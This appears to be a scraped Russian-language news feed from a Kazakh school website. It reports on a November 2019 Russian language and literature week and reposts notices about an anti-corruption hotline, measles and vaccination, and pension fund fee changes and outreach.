урок в7 «Е» классе на тему: «Почему нужно изучать иностранные языки»</td><td style="width:68px;">7 «Е»</td><td style="width:116px;">І смена6 урок</td><td style="width:107px;">29</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">15.11.2019</td><td style="width:308px;">Конкурс чтецов в 5 -6 классах на тему: «Любимые страницы поэзии»</td><td style="width:68px;">5-6 классы</td><td style="width:116px;">ІІ смена15.40</td><td style="width:107px;">7</td><td style="width:128px;">Умбетова Д.Б.Рахпанова Ш.К.</td></tr><tr><td style="width:56px;">15.11.2019</td><td style="width:308px;">Открытый урок в 5 «А» классе на тему: «Вместе весело шагать!»</td><td style="width:68px;">3 урок</td><td style="width:116px;">ІІ смена3 урок15.40</td><td style="width:107px;">22</td><td style="width:128px;">Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">13.11.2019</td><td style="width:308px;">Внеклассное мероприятие на тему «Зарядка для ума»</td><td style="width:68px;">8 «Ә»</td><td style="width:116px;">І смена9.40</td><td style="width:107px;">22</td><td style="width:128px;">Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">18.11.2019</td><td style="width:308px;">Внеклассное мероприятиеПоэтический салон на тему: «Осень-чудная пора»</td><td style="width:68px;">7 «Б», «Г»</td><td style="width:116px;">16.25</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Абилова Ш.А.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Открытый урок на тему «Друзья познаются в беде»</td><td style="width:68px;">5 «В»</td><td style="width:116px;">ІІ смена2 урок</td><td style="width:107px;">27</td><td style="width:128px;">Рахпанова Ш.К.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Открытый урок на тему «Друзья познаются в беде»</td><td style="width:68px;">5 «А»</td><td style="width:116px;">ІІ смена2 урок </td><td style="width:107px;">28</td><td style="width:128px;">Малдыбаева Р.Т.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Внеклассное мероприятие на тему: «Говорим и пишем правильно»</td><td style="width:68px;">8 урок</td><td style="width:116px;">І смена13.30</td><td style="width:107px;">27</td><td style="width:128px;">Ишев А.Э.</td></tr><tr><td style="width:56px;">20.11.2019</td><td style="width:308px;">Вечер поэзии «Всё начинается с любви»</td><td style="width:68px;">9,11 классы</td><td style="width:116px;">17.00</td><td style="width:107px;">30</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Открытый урок в 5 «Ж» классе на тему: «Солнце русской поэзии»</td><td style="width:68px;">5 «Ж»</td><td style="width:116px;">І смена 08.45</td><td style="width:107px;">7</td><td style="width:128px;">Умбетова Д.Б.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Открытый урок в 3 «В» классе на тему: «Круглый год»</td><td style="width:68px;">3 «В»</td><td style="width:116px;">ІІ смена 3 урок</td><td style="width:107px;">29</td><td style="width:128px;">Абилова Ш.А.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Внеклассное мероприятие «Союз двух гениев»</td><td style="width:68px;">7 классы</td><td style="width:116px;">12.00</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Малдыбаева Р.Т.</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Посещение драмтеатраПостановка «Снежная королева»</td><td style="width:68px;">5-8</td><td style="width:116px;">19.00</td><td style="width:107px;">Драмтеатр имени М.Горького</td><td style="width:128px;">Учителя-предметники</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Внеклассное мероприятие «Пушкинский бал-2019»</td><td style="width:68px;">9-11</td><td style="width:116px;">11.00</td><td style="width:107px;">Актовый залСпортзал</td><td style="width:128px;">Тамабаева Ж.Б.Килибаева К.К.</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Закрытие Декады.Подведение итогов</td><td style="width:68px;"> </td><td style="width:116px;">13.00</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Умбетова Д.Б.Малдыбаева Р.Т.Абилова Ш.А.Килибаева К.КСардарбекова Г.Г.</td></tr></tbody></table> Все мероприятия этой недели проведены согласно составленному плану. При подготовке мероприятий учителями русского языка и литературы учитывались интересы обучающихся, их индивидуальные особенности, креативные способности. Были использованы компьютерные презентации, схемы, таблицы, стратегии обновленного содержания образования. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/1.jpg" alt="" width="150" height="183" /> Каждый педагог старался достичь поставленной цели в формировании познавательной мотивации обучения, расширения кругозора детей, воспитании ответственности, чувства взаимопомощи, товарищества. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/2.jpg" alt="" width="150" height="250" /> Открылась декада русского языка и литературы 11.11.2019 года торжественной линейкой, которая была организована учителями МО и учащимися 9 «А» класса. Были приглашены как учащиеся старшего звена. «Календарь знаменательных дат» <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/3.jpg" alt="" width="250" height="188" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/4.jpg" alt="" width="250" height="187" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/6.jpg" alt="" width="250" height="156" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/5.jpg" alt="" width="250" height="172" /> Также учителями были проведены конкурсы рисунков «По следам сказок», стенгазет по теме: «Календарь знаменательных дат», презентаций и буклетов на тему: «Все краски осени». <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/7.jpg" alt="" width="300" height="383" /> Учитель русского языка и литературы К.К.Килибаева провела открытый урок в 9 «А» классе по теме: «Береги честь смолоду» (отрывок из повести «Капитанская дочка» А.С Пушкина) Учитель знает необходимый материал; опыт проведения предыдущих уроков и урок показывает, что учитель может выстроить диалог с классом, а также организовать групповую работу. В результате работы на уроке учащиеся поняли, как трактует А.С. Пушкин понятие честь, объяснили, что такое честь и человеческое достоинство для разных персонажей «Капитанской дочки».Учитель воспитывала стремление следовать идеалам чести и тем самым прививала интерес к творчеству А.С. Пушкина. Поставленные цели урока в основном были достигнуты, сформировано представление о понятиях чести и долга и о пушкинской трактовке этих понятий, выявлены основные представления персонажей «Капитанской дочки» о чести. Однако работа над образами персонажей была проведена с разной степенью эффективности, что связано, в первую очередь, с нехваткой времени, а также с нечёткой формулировкой вопросов в ряде случаев.На уроке были реализованы следующие дидактические принципы.Принцип преемственности, последовательности и систематичности. Рефлексия прошла с применением шести шляп мышления. <div style="text-align:center;"> Фрагменты урока 9 «А» класса «Береги честь смолоду» А.С Пушкина</div><div style="text-align:center;"> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/8.jpg" alt="" width="350" height="217" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/9.jpg" alt="" width="350" height="211" /></div> Рефлексия урока.Шесть шляп мышления <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/10.jpg" alt="" width="350" height="226" /> Создала благоприятную психологическую атмосферу учитель русского языка и литературы Тамабаева Жанна Болысбековна. Стадия вызова Звучит мелодичная музыка «В гостях у сказки».Учащиеся 4 «В» класса после просмотра видео определяют тему: «Сказка» .Таким образом, раскрывается тема урока и осуществляется мотивация учащихся к восприятию нового материала.Очень хорошо, активно работали:Мейірбек, Ақтілек,Алихсан,Нуржан,Ескендір,Досымжан. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/11.jpg" alt="" width="350" height="263" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/12.jpg" alt="" width="352" height="264" /> В рамках декады МО был проведен конкурс чтецов "Любимые страницы поэзии" среди учащихся 5-7 классов.Ответственными за проведение праздника: Умбетова Д.Б.,Рахпанова Ш.К. Все ребята очень старались прочитать свое стихотворение выразительно и ярко, как настоящие артисты. На конкурсе прозвучали стихи разных поэтов: русских классиков (А.С. Пушкина,М.Ю.Лермонтова, К.Бальмонт, С.Михалков, А.Барто и др. все стихи были посвящены волшебному миру детства. Путешествовать по стране поэзии ребятам помог Кот Ученый, который пришел из Лукоморья . Оценивали артистов по 5-ти бальной системе и по следующим критериям: -знание текста; -интонационная выразительность речи; -артистизм; -использование атрибутов и соответствие костюма содержанию стиха. Учащимся очень понравилось мероприятие. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/13.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/14.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/15.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/16.jpg" alt="" width="350" height="197" /> Декада русского языка и литературы проходит организованно, в атмосфере творчества. Учащихся показывают, что особый интерес у учащихся вызвали необычные формы уроков (исследовательские уроки, гостиные), выставки творческих работ (рисунков, стенгазет, буклетов).Учителя МО русского языка и литературы демонстрируют свой опыт коллегам, делятся методическими находками. МО русского языка и литературы Тамабаева Ж.Б. 24mektepSun, 17 Nov 2019 10:08:49 +0600http://24.astana-bilim.kz/news/?pkid=1573965046192365Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1573965046192365Call-центр 1424 Агентства Республики Казахстан по противодействию коррупцииhttp://24.astana-bilim.kz/news/?pkid=1567587128522480<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1567587128522480.jpg" /> <div style="text-align:center;"><img src="/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/%D0%BA%D0%BE%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F.jpg" alt="" width="720" height="290" /></div> <div style="text-align:center;">В Агентстве Республики Казахстан по противодействию коррупции (Антикоррупционная служба) функционирует Саll-центр, основной задачей которого является бесплатная консультационная поддержка граждан по вопросам противодействия коррупции и прием телефонных сообщении о коррупционных правонарушениях.</div><div style="text-align:center;"> </div>CALL ЦЕНТР звонок бесплатный <a href="https://www.youtube.com/watch?v=9cr2Zoc_OMk">https://www.youtube.com/watch?v=9cr2Zoc_OMk</a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1567587128522480.jpg" /> <div style="text-align:center;"><img src="/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/%D0%BA%D0%BE%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F.jpg" alt="" width="720" height="290" /></div> <div style="text-align:center;">В Агентстве Республики Казахстан по противодействию коррупции (Антикоррупционная служба) функционирует Саll-центр, основной задачей которого является бесплатная консультационная поддержка граждан по вопросам противодействия коррупции и прием телефонных сообщении о коррупционных правонарушениях.</div><div style="text-align:center;"> </div>CALL ЦЕНТР звонок бесплатный <a href="https://www.youtube.com/watch?v=9cr2Zoc_OMk">https://www.youtube.com/watch?v=9cr2Zoc_OMk</a>24mektepWed, 04 Sep 2019 14:48:06 +0600http://24.astana-bilim.kz/news/?pkid=1567587128522480Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1567587128522480Признаки кориhttp://24.astana-bilim.kz/news/?pkid=1548305031860477Симптомы кори Инкубационный период, т.е. время от заражения до появления первых симптомов, длится от 7 до 14 дней. Важно помнить, что болезньначинается не с появления сыпи, а с симптомов простуды: температура 38-40 градусов, резкая слабость, отсутствие аппетита, сухой кашель, насморк. <a href="https://youtu.be/mgUyMpke2oE">https://youtu.be/mgUyMpke2oE</a>Симптомы кори Инкубационный период, т.е. время от заражения до появления первых симптомов, длится от 7 до 14 дней. Важно помнить, что болезньначинается не с появления сыпи, а с симптомов простуды: температура 38-40 градусов, резкая слабость, отсутствие аппетита, сухой кашель, насморк. <a href="https://youtu.be/mgUyMpke2oE">https://youtu.be/mgUyMpke2oE</a>24mektepThu, 24 Jan 2019 10:40:24 +0600http://24.astana-bilim.kz/news/?pkid=1548305031860477Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1548305031860477Почему важна вакцинация?http://24.astana-bilim.kz/news/?pkid=1548302957722585<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1548302957722585.jpeg" /> Корь — это широко распространенное острое инфекционное заболевание, встречающееся главным образом у детей и характеризующееся повышением температуры, катаральным воспалением слизистых оболочек носа, глаз и горла и появлением на коже пятнистой сыпи. Пройдите по ссылке <a href="https://youtu.be/lqq_vVV4aY0">https://youtu.be/lqq_vVV4aY0</a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1548302957722585.jpeg" /> Корь — это широко распространенное острое инфекционное заболевание, встречающееся главным образом у детей и характеризующееся повышением температуры, катаральным воспалением слизистых оболочек носа, глаз и горла и появлением на коже пятнистой сыпи. Пройдите по ссылке <a href="https://youtu.be/lqq_vVV4aY0">https://youtu.be/lqq_vVV4aY0</a>24mektepThu, 24 Jan 2019 10:05:09 +0600http://24.astana-bilim.kz/news/?pkid=1548302957722585Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1548302957722585Снижено комиссионное вознаграждение АО «ЕНПФ» на 2019 годhttp://24.astana-bilim.kz/news/?pkid=1545382625192587<div style="text-align:center;">Снижено комиссионное вознаграждение АО «ЕНПФ» на 2019 год</div><div style="text-align:justify;">Постановлением Правления Национального Банка Республики Казахстан установлены следующие величины комиссионного вознаграждения акционерного общества «Единый накопительный пенсионный фонд» на 2019 год:</div><div style="text-align:justify;">1) 5,0 процентов от суммы инвестиционного дохода;</div><div style="text-align:justify;">2) 0,015 процента в месяц от пенсионных активов.</div><div style="text-align:justify;">Напомним, предельная величина комиссионного вознаграждения ЕНПФ устанавливается Законом «О пенсионном обеспечении в Республике Казахстан» в размере не выше 7,5 процента от инвестиционного дохода и 0,025 процента в месяц от пенсионных активов.</div><div style="text-align:justify;">Следует отметить, что с 2014 года указанные величины неоднократно снижались и на 2019 год ниже установленных параметров </div><div style="text-align:justify;">от суммы инвестиционного дохода на 33% (в 2014 – 7,5%); </div><div style="text-align:justify;">от пенсионных активов на 40% (в 2014 – 0,025%).</div><div style="text-align:justify;">Сокращение комиссионного вознаграждения стало возможным в результате проведенной Фондом работы по оптимизации бизнес-процессов, сокращению неэффективных расходов, переводу практически всех видов услуг в электронный формат, увеличению их доли в общем объеме проведенных операций.</div><div style="text-align:justify;">ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на</div><a href="">www.enpf.kz). </a>Пресс-центр АО «ЕНПФ» Контакты для СМИ: press@enpf.kz<div style="text-align:center;">Снижено комиссионное вознаграждение АО «ЕНПФ» на 2019 год</div><div style="text-align:justify;">Постановлением Правления Национального Банка Республики Казахстан установлены следующие величины комиссионного вознаграждения акционерного общества «Единый накопительный пенсионный фонд» на 2019 год:</div><div style="text-align:justify;">1) 5,0 процентов от суммы инвестиционного дохода;</div><div style="text-align:justify;">2) 0,015 процента в месяц от пенсионных активов.</div><div style="text-align:justify;">Напомним, предельная величина комиссионного вознаграждения ЕНПФ устанавливается Законом «О пенсионном обеспечении в Республике Казахстан» в размере не выше 7,5 процента от инвестиционного дохода и 0,025 процента в месяц от пенсионных активов.</div><div style="text-align:justify;">Следует отметить, что с 2014 года указанные величины неоднократно снижались и на 2019 год ниже установленных параметров </div><div style="text-align:justify;">от суммы инвестиционного дохода на 33% (в 2014 – 7,5%); </div><div style="text-align:justify;">от пенсионных активов на 40% (в 2014 – 0,025%).</div><div style="text-align:justify;">Сокращение комиссионного вознаграждения стало возможным в результате проведенной Фондом работы по оптимизации бизнес-процессов, сокращению неэффективных расходов, переводу практически всех видов услуг в электронный формат, увеличению их доли в общем объеме проведенных операций.</div><div style="text-align:justify;">ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на</div><a href="">www.enpf.kz). </a>Пресс-центр АО «ЕНПФ» Контакты для СМИ: press@enpf.kz24mektepFri, 21 Dec 2018 14:53:43 +0600http://24.astana-bilim.kz/news/?pkid=1545382625192587Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382625192587Планируй пенсию смолодуhttp://24.astana-bilim.kz/news/?pkid=1545382418655128В рамках мероприятий, посвященных 20-летию накопительной пенсионной системы, которое отмечается в 2018 году, ЕНПФ проводит различные мероприятия по повышению уровня финансовой грамотности казахстанцев в части пенсионного обеспечения и формированию у них культуры планирования пенсии. Следует напомнить, что в апреле текущего года Фонд запустил услугу по персональному консультированию с использованием пенсионного калькулятора. Планирование выхода на заслуженный отдых невозможно без наличия полного представления о пенсионной системе страны и о том, какой она будет. Поэтому ЕНПФ, как единый оператор финансовых и информационных потоков накопительной пенсионной системы, старается донести актуальную и точную информацию до каждого, используя различные доступные каналы. При этом акцент делается не только на экономически активном населении, но и на подрастающем поколении, трудовой путь которых еще только начинается. Отметим, чем раньше будет положено начало знакомству с пенсионном обеспечением и планированию пенсии, тем лучше для будущего. 20 ноября 2018 года во всех филиалах ЕНПФ прошел День открытых дверей на тему «Доступный ЕНПФ для всех вкладчиков, на который наряду с вкладчиками и получателями были приглашены старшеклассники и студенты. Также в ноябре-декабре текущего года руководство ЕНПФ планирует провести встречи со студентами ведущих ВУЗов страны. Первые три встречи уже состоялись. 22 ноября управляющий директор АО «ЕНПФ» Жанара Тулегенова выступила перед студентами Казахского национального педагогического университета имени Абая (г. Алматы), а управляющий директор АО «ЕНПФ» Маулен Утегулов встретился со студентами Казахского национального технического университета имени К.И. Сатпаева (г. Алматы). На следующий день заместитель председателя правления АО «ЕНПФ» Сауле Егеубаева провела встречу в Усть-Каменогорске со студентами Восточно-Казахстанского государственного технического университета им. Д. Серикбаева. Спикеры отметили, что для студентов важным из темы пенсионного обеспечения является накопительная пенсионная система (НПС), так как их совокупная пенсия в большей степени будет зависеть от регулярности взносов. Студентов познакомили с особенностями НПС Республики Казахстан, а также рассказали о нововведениях и способах увеличения пенсионного капитала. Тема выступлений топ-менеджмента Фонда вызвала большой интерес у аудитории, многих увлекли дистанционные способы получения услуг и каналы коммуникаций с ЕНПФ, а уже работающих студентов – тема обязательных пенсионных взносов от дохода по договорам гражданско-правового характера. Руководство Фонда выразило надежду, что подобные встречи помогут молодому поколению задуматься о формировании пенсионного капитала уже в начале трудового пути, который в свою очередь, позволит обеспечить им достойную жизнь на заслуженном отдыхе. ИНФОРМАЦИОННОЕ СООБЩЕНИЕ «23» ноября 2018 года До конца года планируется провести подобные встречи еще в 7 университетах страны. На 26 ноября запланированы встречи в Павлодарском государственном университете имени С. Торайгырова, Западно-Казахстанском государственном университете имени М. Утемисова и в Карагандинском Государственном Университете им. Е. Букетова. Встречи в Казахском Экономическом Университете им Т. Рыскулова и Международном университете информационных технологий планируются 28 и 30 ноября соответственно. В декабре аналогичные встречи со студентами планируется провести в Евразийском национальном университете им. Л. Н. Гумилёва и в Южно-Казахстанском государственном университете имени М. Ауэзова. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ» Контакты для СМИ: press@enpf.kzВ рамках мероприятий, посвященных 20-летию накопительной пенсионной системы, которое отмечается в 2018 году, ЕНПФ проводит различные мероприятия по повышению уровня финансовой грамотности казахстанцев в части пенсионного обеспечения и формированию у них культуры планирования пенсии. Следует напомнить, что в апреле текущего года Фонд запустил услугу по персональному консультированию с использованием пенсионного калькулятора. Планирование выхода на заслуженный отдых невозможно без наличия полного представления о пенсионной системе страны и о том, какой она будет. Поэтому ЕНПФ, как единый оператор финансовых и информационных потоков накопительной пенсионной системы, старается донести актуальную и точную информацию до каждого, используя различные доступные каналы. При этом акцент делается не только на экономически активном населении, но и на подрастающем поколении, трудовой путь которых еще только начинается. Отметим, чем раньше будет положено начало знакомству с пенсионном обеспечением и планированию пенсии, тем лучше для будущего. 20 ноября 2018 года во всех филиалах ЕНПФ прошел День открытых дверей на тему «Доступный ЕНПФ для всех вкладчиков, на который наряду с вкладчиками и получателями были приглашены старшеклассники и студенты. Также в ноябре-декабре текущего года руководство ЕНПФ планирует провести встречи со студентами ведущих ВУЗов страны. Первые три встречи уже состоялись. 22 ноября управляющий директор АО «ЕНПФ» Жанара Тулегенова выступила перед студентами Казахского национального педагогического университета имени Абая (г. Алматы), а управляющий директор АО «ЕНПФ» Маулен Утегулов встретился со студентами Казахского национального технического университета имени К.И. Сатпаева (г. Алматы). На следующий день заместитель председателя правления АО «ЕНПФ» Сауле Егеубаева провела встречу в Усть-Каменогорске со студентами Восточно-Казахстанского государственного технического университета им. Д. Серикбаева. Спикеры отметили, что для студентов важным из темы пенсионного обеспечения является накопительная пенсионная система (НПС), так как их совокупная пенсия в большей степени будет зависеть от регулярности взносов. Студентов познакомили с особенностями НПС Республики Казахстан, а также рассказали о нововведениях и способах увеличения пенсионного капитала. Тема выступлений топ-менеджмента Фонда вызвала большой интерес у аудитории, многих увлекли дистанционные способы получения услуг и каналы коммуникаций с ЕНПФ, а уже работающих студентов – тема обязательных пенсионных взносов от дохода по договорам гражданско-правового характера. Руководство Фонда выразило надежду, что подобные встречи помогут молодому поколению задуматься о формировании пенсионного капитала уже в начале трудового пути, который в свою очередь, позволит обеспечить им достойную жизнь на заслуженном отдыхе. ИНФОРМАЦИОННОЕ СООБЩЕНИЕ «23» ноября 2018 года До конца года планируется провести подобные встречи еще в 7 университетах страны. На 26 ноября запланированы встречи в Павлодарском государственном университете имени С. Торайгырова, Западно-Казахстанском государственном университете имени М. Утемисова и в Карагандинском Государственном Университете им. Е. Букетова. Встречи в Казахском Экономическом Университете им Т. Рыскулова и Международном университете информационных технологий планируются 28 и 30 ноября соответственно. В декабре аналогичные встречи со студентами планируется провести в Евразийском национальном университете им. Л. Н. Гумилёва и в Южно-Казахстанском государственном университете имени М. Ауэзова. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ» Контакты для СМИ: press@enpf.kz24mektepFri, 21 Dec 2018 14:52:28 +0600http://24.astana-bilim.kz/news/?pkid=1545382418655128Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382418655128Новый канал информирования вкладчиков (получателей) г. Астаныhttp://24.astana-bilim.kz/news/?pkid=1545382346524253Новый канал информирования вкладчиков (получателей) г. Астаны ЕНПФ помимо предоставления качественного уровня обслуживания стремится доносить актуальную и полезную информацию о накопительной пенсионной системе и собственных услугах до всех казахстанцев. Для этого Фонд использует все возможности: от организации выездных презентаций и активного взаимодействия с представителями СМИ до развития дополнительных каналов дистанционного взаимодействия. Напомним, в июле 2018 года ЕНПФ внедрил канал в мессенджере WhatsApp, позволяющий получить информацию и проконсультироваться по вопросам пенсионного обеспечения лицам, находящимся как в Казахстане, так и за рубежом. Для расширения каналов получения информации ЕНПФ активно сотрудничает с порталом электронного правительства Республики Казахстан и акиматами всех областей и городов Астана и Алматы. Меморандумы о сотрудничестве и взаимодействии с последними подписаны в прошлом году. Кроме того, 6 сентября 2018 года ЕНПФ заключил соглашение о сотрудничестве с Городским центром мониторинга и оперативного реагирования iKomek акимата города Астаны. Отметим, что Центр круглосуточно и без выходных консультирует по всем городским услугам жизнеобеспечения, принимает жалобы и обращения жителей, проводит мониторинг социальных сетей и предоставляет ответы на обращения через социальные сети. В каталоге услуг iKomek более 770 услуг, к которым после подписания соглашения подключилось и информирование о деятельности и услугах ЕНПФ, а также предоставление справочной информации по контактам столичного Филиала АО «ЕНПФ». ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Городской центр мониторинга и оперативного реагирования выступает как инструмент контроля и аналитики столицы, целями которого являются прием обращений жителей, координация работы коммунальных и оперативных служб при решении инцидентов, аварий, контроль своевременного закрытия инцидентов, выстраивание политики превентивных мер вместо «тушения пожаров», оперативный контроль за ситуацией «здесь» и «сейчас» через городскую систему видеонаблюдения, выявление и обработка инцидентов правонарушений.Центр работает 365/24/7.Обращения можете подавать по номеру дозвона – 109, через мобильное приложение «SmartAstana» или официальные страницы в социальных сетях. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>Новый канал информирования вкладчиков (получателей) г. Астаны ЕНПФ помимо предоставления качественного уровня обслуживания стремится доносить актуальную и полезную информацию о накопительной пенсионной системе и собственных услугах до всех казахстанцев. Для этого Фонд использует все возможности: от организации выездных презентаций и активного взаимодействия с представителями СМИ до развития дополнительных каналов дистанционного взаимодействия. Напомним, в июле 2018 года ЕНПФ внедрил канал в мессенджере WhatsApp, позволяющий получить информацию и проконсультироваться по вопросам пенсионного обеспечения лицам, находящимся как в Казахстане, так и за рубежом. Для расширения каналов получения информации ЕНПФ активно сотрудничает с порталом электронного правительства Республики Казахстан и акиматами всех областей и городов Астана и Алматы. Меморандумы о сотрудничестве и взаимодействии с последними подписаны в прошлом году. Кроме того, 6 сентября 2018 года ЕНПФ заключил соглашение о сотрудничестве с Городским центром мониторинга и оперативного реагирования iKomek акимата города Астаны. Отметим, что Центр круглосуточно и без выходных консультирует по всем городским услугам жизнеобеспечения, принимает жалобы и обращения жителей, проводит мониторинг социальных сетей и предоставляет ответы на обращения через социальные сети. В 